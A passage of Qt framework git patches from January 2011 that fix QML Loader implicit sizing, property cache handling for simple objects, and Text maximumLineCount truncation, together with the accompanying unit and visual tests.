    +            }
    +        }
    +
    +#ifdef Q_WS_S60
    +        CAknAppUiBase* appUi = static_cast(CEikonEnv::Static()->EikAppUi());
    +        const CAknAppUiBase::TAppUiOrientation s60orientations[] = {
    +            CAknAppUiBase::EAppUiOrientationPortrait,
    +            CAknAppUiBase::EAppUiOrientationLandscape,
    +            CAknAppUiBase::EAppUiOrientationAutomatic
    +        };
    +        CAknAppUiBase::TAppUiOrientation s60orientation = CAknAppUiBase::EAppUiOrientationUnspecified;
    +        for (int i = 0; i < 3; ++i) {
    +            if (testAttribute(orientations[i])) {
    +                s60orientation = s60orientations[i];
    +                break;
    +            }
    +        }
    +        QT_TRAP_THROWING(appUi->SetOrientationL(s60orientation));
    +        S60->orientationSet = true;
    +#endif
    +        break;
    +    }
         default:
             break;
         }
    -- 
    cgit v0.12
    
    
    From 547e2162c872ca5707f5bc54d06b3c39c9bd6477 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Fri, 28 Jan 2011 10:24:20 +1000
    Subject: Add test for Loader implicitWidth/implicitHeight
    
    ---
     .../qdeclarativeloader/data/implicitSize.qml       | 28 ++++++++++++++++++++++
     .../qdeclarativeloader/tst_qdeclarativeloader.cpp  | 18 ++++++++++++++
     2 files changed, 46 insertions(+)
     create mode 100644 tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
    
    diff --git a/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml b/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
    new file mode 100644
    index 0000000..53aad97
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
    @@ -0,0 +1,28 @@
    +import QtQuick 1.1
    +
    +Rectangle {
    +    property real implWidth: 0
    +    property real implHeight: 0
    +    color: "green"
    +    width: loader.implicitWidth+50
    +    height: loader.implicitHeight+50
    +
    +    Loader {
    +        id: loader
    +        sourceComponent: Item {
    +            anchors.centerIn: parent
    +
    +            implicitWidth: 100
    +            implicitHeight: 100
    +            Rectangle {
    +                color: "red"
    +                anchors.fill: parent
    +            }
    +        }
    +
    +        anchors.fill: parent
    +        anchors.margins: 50
    +        onImplicitWidthChanged: implWidth = implicitWidth
    +        onImplicitHeightChanged: implHeight = loader.implicitHeight
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index ea8ea16..a5e708b 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -90,6 +90,7 @@ private slots:
         void vmeErrors();
         void creationContext();
         void QTBUG_16928();
    +    void implicitSize();
     
     private:
         QDeclarativeEngine engine;
    @@ -603,6 +604,23 @@ void tst_QDeclarativeLoader::QTBUG_16928()
         delete item;
     }
     
    +void tst_QDeclarativeLoader::implicitSize()
    +{
    +    QDeclarativeComponent component(&engine, TEST_FILE("implicitSize.qml"));
    +    QDeclarativeItem *item = qobject_cast(component.create());
    +    QVERIFY(item);
    +
    +    QCOMPARE(item->width(), 150.);
    +    QCOMPARE(item->height(), 150.);
    +
    +    QCOMPARE(item->property("implHeight").toReal(), 100.);
    +
    +    QEXPECT_FAIL("", "versioned property implicit object reference", Continue);
    +    QCOMPARE(item->property("implWidth").toReal(), 100.);
    +
    +    delete item;
    +}
    +
     QTEST_MAIN(tst_QDeclarativeLoader)
     
     #include "tst_qdeclarativeloader.moc"
    -- 
    cgit v0.12
    
    
    From cb6b9ee680f792750d0cb265ea59ff3ff4643562 Mon Sep 17 00:00:00 2001
    From: Aaron Kennedy 
    Date: Fri, 28 Jan 2011 12:00:21 +1000
    Subject: Ensure simple objects also get the appropriate property cache
    
    Task-number: QTBUG-13849
    ---
     src/declarative/qml/qdeclarativedata_p.h                   |  5 +----
     src/declarative/qml/qdeclarativeobjectscriptclass.cpp      |  3 ++-
     src/declarative/qml/qdeclarativevme.cpp                    | 12 ++++++------
     .../qdeclarativeecmascript/data/metaobjectRevision4.qml    | 14 ++++++++++++++
     .../qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp  |  9 +++++++++
     5 files changed, 32 insertions(+), 11 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
    
    diff --git a/src/declarative/qml/qdeclarativedata_p.h b/src/declarative/qml/qdeclarativedata_p.h
    index f0ff0c0..33458dc 100644
    --- a/src/declarative/qml/qdeclarativedata_p.h
    +++ b/src/declarative/qml/qdeclarativedata_p.h
    @@ -66,7 +66,6 @@ class QDeclarativePropertyCache;
     class QDeclarativeContextData;
     class QDeclarativeNotifier;
     class QDeclarativeDataExtended;
    -class QDeclarativeType;
     // This class is structured in such a way, that simply zero'ing it is the
     // default state for elemental object allocations.  This is crucial in the
     // workings of the QDeclarativeInstruction::CreateSimpleObject instruction.
    @@ -78,7 +77,7 @@ public:
             : ownMemory(true), ownContext(false), indestructible(true), explicitIndestructibleSet(false), 
               context(0), outerContext(0), bindings(0), nextContextObject(0), prevContextObject(0), bindingBitsSize(0), 
               bindingBits(0), lineNumber(0), columnNumber(0), deferredComponent(0), deferredIdx(0), 
    -          scriptValue(0), objectDataRefCount(0), propertyCache(0), guards(0), type(0), extendedData(0) {
    +          scriptValue(0), objectDataRefCount(0), propertyCache(0), guards(0), extendedData(0) {
               init(); 
           }
     
    @@ -137,8 +136,6 @@ public:
     
         QDeclarativeGuard *guards;
     
    -    const QDeclarativeType *type;
    -
         static QDeclarativeData *get(const QObject *object, bool create = false) {
             QObjectPrivate *priv = QObjectPrivate::get(const_cast(object));
             if (priv->wasDeleted) {
    diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    index 7701a23..ee47d0b 100644
    --- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    +++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    @@ -166,8 +166,9 @@ QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &nam
         QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine);
         lastData = QDeclarativePropertyCache::property(engine, obj, name, local);
         if ((hints & ImplicitObject) && lastData && lastData->revision != 0) {
    +
             QDeclarativeData *ddata = QDeclarativeData::get(obj);
    -        if (ddata && ddata->propertyCache && !ddata->propertyCache->isAllowedInRevision(lastData))
    +        if (ddata && ddata->propertyCache && !ddata->propertyCache->isAllowedInRevision(lastData)) 
                 return 0;
         }
     
    diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp
    index 657b10d..366c64b 100644
    --- a/src/declarative/qml/qdeclarativevme.cpp
    +++ b/src/declarative/qml/qdeclarativevme.cpp
    @@ -194,8 +194,6 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack,
     
                     QDeclarativeData *ddata = QDeclarativeData::get(o);
                     Q_ASSERT(ddata);
    -                if (types.at(instr.create.type).type)
    -                    ddata->type = types.at(instr.create.type).type;
     
                     if (stack.isEmpty()) {
                         if (ddata->context) {
    @@ -249,10 +247,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack,
                     ::memset(o, 0, instr.createSimple.typeSize + sizeof(QDeclarativeData));
                     instr.createSimple.create(o);
     
    -                QDeclarativeData *ddata = 
    -                    (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize);
    -                if (types.at(instr.createSimple.type).type)
    -                    ddata->type = types.at(instr.createSimple.type).type;
    +                QDeclarativeData *ddata = (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize);
    +                const QDeclarativeCompiledData::TypeReference &ref = types.at(instr.createSimple.type);
    +                if (!ddata->propertyCache && ref.typePropertyCache) {
    +                    ddata->propertyCache = ref.typePropertyCache;
    +                    ddata->propertyCache->addref();
    +                }
                     ddata->lineNumber = instr.line;
                     ddata->columnNumber = instr.createSimple.column;
     
    diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
    new file mode 100644
    index 0000000..81ea536
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
    @@ -0,0 +1,14 @@
    +import Qt.test 1.1
    +import QtQuick 1.0
    +
    +QtObject {
    +    property variant a
    +    property real test
    +
    +    a: MyRevisionedClass {
    +        prop2: 11
    +
    +        Component.onCompleted: test = prop2
    +    }
    +}
    +
    diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    index e7f9a2c..f66cd0b 100644
    --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    @@ -2983,6 +2983,15 @@ void tst_qdeclarativeecmascript::revision()
             MyRevisionedClass *object = qobject_cast(component.create());
             QVERIFY(object != 0);
         }
    +    // Test that non-root classes can resolve revisioned methods
    +    {
    +        QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision4.qml"));
    +
    +        QObject *object = component.create();
    +        QVERIFY(object != 0);
    +        QCOMPARE(object->property("test").toReal(), 11.);
    +        delete object;
    +    }
     }
     
     QTEST_MAIN(tst_qdeclarativeecmascript)
    -- 
    cgit v0.12
    
    
    From 57ddd7c69705dfbf3d06b8a0157e5e706120c818 Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Fri, 28 Jan 2011 12:55:57 +1000
    Subject: Fix MaximumLineCount in Text and add tests
    
    Fixed MaximumLineCount not truncating when wrapMode was not set.
    Visual autotests were added to test various possible options for
    maximumLineCount.
    
    Task-number: QTBUG-12305
    Reviewed-by: Michael Brasser
    ---
     src/declarative/graphicsitems/qdeclarativetext.cpp |  44 ++++++++++-----------
     .../maximumLineCount/data-X11/newLines.0.png       | Bin 0 -> 343 bytes
     .../maximumLineCount/data-X11/newLines.qml         |  11 ++++++
     .../maximumLineCount/data-X11/newLines_wrap.0.png  | Bin 0 -> 465 bytes
     .../maximumLineCount/data-X11/newLines_wrap.qml    |  11 ++++++
     .../data-X11/newLines_wrap_elide.0.png             | Bin 0 -> 469 bytes
     .../data-X11/newLines_wrap_elide.qml               |  11 ++++++
     .../maximumLineCount/data-X11/wrap.0.png           | Bin 0 -> 557 bytes
     .../maximumLineCount/data-X11/wrap.qml             |  11 ++++++
     .../maximumLineCount/data-X11/wrap_elide.0.png     | Bin 0 -> 537 bytes
     .../maximumLineCount/data-X11/wrap_elide.qml       |  11 ++++++
     .../maximumLineCount/data/newLines.0.png           | Bin 0 -> 343 bytes
     .../maximumLineCount/data/newLines.qml             |  11 ++++++
     .../maximumLineCount/data/newLines_wrap.0.png      | Bin 0 -> 465 bytes
     .../maximumLineCount/data/newLines_wrap.qml        |  11 ++++++
     .../data/newLines_wrap_elide.0.png                 | Bin 0 -> 469 bytes
     .../maximumLineCount/data/newLines_wrap_elide.qml  |  11 ++++++
     .../maximumLineCount/data/wrap.0.png               | Bin 0 -> 557 bytes
     .../maximumLineCount/data/wrap.qml                 |  11 ++++++
     .../maximumLineCount/data/wrap_elide.0.png         | Bin 0 -> 537 bytes
     .../maximumLineCount/data/wrap_elide.qml           |  11 ++++++
     .../qdeclarativetext/maximumLineCount/newLines.qml |  13 ++++++
     .../maximumLineCount/newLines_wrap.qml             |  14 +++++++
     .../maximumLineCount/newLines_wrap_elide.qml       |  15 +++++++
     .../qdeclarativetext/maximumLineCount/wrap.qml     |  14 +++++++
     .../maximumLineCount/wrap_elide.qml                |  15 +++++++
     26 files changed, 201 insertions(+), 24 deletions(-)
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index d424e30..1e0988d 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -366,6 +366,8 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
     
         if (maximumLineCountValid) {
             layout.beginLayout();
    +        if (!lineWidth)
    +            lineWidth = INT_MAX;
             int y = 0;
             int linesLeft = maximumLineCount;
             while (linesLeft > 0) {
    @@ -374,34 +376,28 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
                     break;
     
                 visibleCount++;
    -
    -            if (lineWidth) {
    -                if (--linesLeft == 0) {
    -                    line.setLineWidth(q->width()*2); // Set out more than is required, but not too much.
    -                    if (line.naturalTextWidth() > lineWidth)
    -                        line.setLineWidth(lineWidth - elideWidth);
    -                    visibleTextLength += line.textLength(); // Used to catch new lines that are shorter than the layout width.
    -
    -                    if (visibleTextLength < text.length()) {
    -                        truncate = true;
    -                        if (elideMode==QDeclarativeText::ElideRight) {
    -                            // Need to correct for alignment
    -                            int x = line.naturalTextWidth();
    -                            if (hAlign == QDeclarativeText::AlignRight) {
    -                                x = q->width()-elideWidth;
    -                            } else if (hAlign == QDeclarativeText::AlignHCenter) {
    -                                x = (q->width()+line.naturalTextWidth()-elideWidth)/2;
    -                            }
    -                            elidePos = QPointF(x, y + fm.ascent());
    +            line.setLineWidth(lineWidth);
    +            visibleTextLength += line.textLength();
    +
    +            if (--linesLeft == 0) {
    +                if (visibleTextLength < text.length()) {
    +                    truncate = true;
    +                    if (elideMode==QDeclarativeText::ElideRight && q->widthValid()) {
    +                        // Need to correct for alignment
    +                        line.setLineWidth(lineWidth-elideWidth);
    +                        int x = line.naturalTextWidth();
    +                        if (hAlign == QDeclarativeText::AlignRight) {
    +                            x = q->width()-elideWidth;
    +                        } else if (hAlign == QDeclarativeText::AlignHCenter) {
    +                            x = (q->width()+line.naturalTextWidth()-elideWidth)/2;
                             }
    +                        elidePos = QPointF(x, y + fm.ascent());
    +                        elideText = true;
                         }
    -                } else {
    -                    line.setLineWidth(lineWidth);
    -                    visibleTextLength += line.textLength();
                     }
    -
    -                y += line.height();
                 }
    +
    +            y += line.height();
             }
             layout.endLayout();
     
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png
    new file mode 100644
    index 0000000..c24c7c6
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
    new file mode 100644
    index 0000000..affd3a6
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png
    new file mode 100644
    index 0000000..0ba68e5
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
    new file mode 100644
    index 0000000..410b47d
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines_wrap.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png
    new file mode 100644
    index 0000000..3f1144b
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
    new file mode 100644
    index 0000000..94cf1d2
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines_wrap_elide.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png
    new file mode 100644
    index 0000000..f0ad965
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
    new file mode 100644
    index 0000000..4b55312
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "wrap.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png
    new file mode 100644
    index 0000000..62274ce
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
    new file mode 100644
    index 0000000..7d002ea
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "wrap_elide.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png
    new file mode 100644
    index 0000000..c24c7c6
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
    new file mode 100644
    index 0000000..affd3a6
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png
    new file mode 100644
    index 0000000..0ba68e5
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
    new file mode 100644
    index 0000000..410b47d
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines_wrap.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png
    new file mode 100644
    index 0000000..3f1144b
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
    new file mode 100644
    index 0000000..94cf1d2
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines_wrap_elide.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png
    new file mode 100644
    index 0000000..f0ad965
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
    new file mode 100644
    index 0000000..4b55312
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "wrap.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png
    new file mode 100644
    index 0000000..62274ce
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
    new file mode 100644
    index 0000000..7d002ea
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "wrap_elide.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
    new file mode 100644
    index 0000000..4e993c6
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
    @@ -0,0 +1,13 @@
    +import QtQuick 1.0
    +import "../../shared" 1.0
    +
    +Rectangle {
    +    width: childrenRect.width
    +    height: childrenRect.height
    +
    +    TestText {
    +        width:  80
    +        maximumLineCount: 2
    +        text: "Line1\nLine2\nLine3\nLine4"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
    new file mode 100644
    index 0000000..5d8f50b
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
    @@ -0,0 +1,14 @@
    +import QtQuick 1.0
    +import "../../shared" 1.0
    +
    +Rectangle {
    +    width: childrenRect.width
    +    height: childrenRect.height
    +
    +    TestText {
    +        width:  80
    +        maximumLineCount: 3
    +        wrapMode: Text.WordWrap
    +        text: "Line1 has a more\nLine2\nLine3\nLine4"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
    new file mode 100644
    index 0000000..ac7b5cb
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
    @@ -0,0 +1,15 @@
    +import QtQuick 1.0
    +import "../../shared" 1.0
    +
    +Rectangle {
    +    width: childrenRect.width
    +    height: childrenRect.height
    +
    +    TestText {
    +        width:  80
    +        maximumLineCount: 3
    +        wrapMode: Text.WordWrap
    +        elide: Text.ElideRight
    +        text: "Line1 has a more\nLine2\nLine3\nLine4"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
    new file mode 100644
    index 0000000..6d72430
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
    @@ -0,0 +1,14 @@
    +import QtQuick 1.0
    +import "../../shared" 1.0
    +
    +Rectangle {
    +    width: childrenRect.width
    +    height: childrenRect.height
    +
    +    TestText {
    +        width:  80
    +        maximumLineCount: 3
    +        wrapMode: Text.WordWrap
    +        text: "The quick brown fox jumped over the lazy dog"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
    new file mode 100644
    index 0000000..785c5f5
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
    @@ -0,0 +1,15 @@
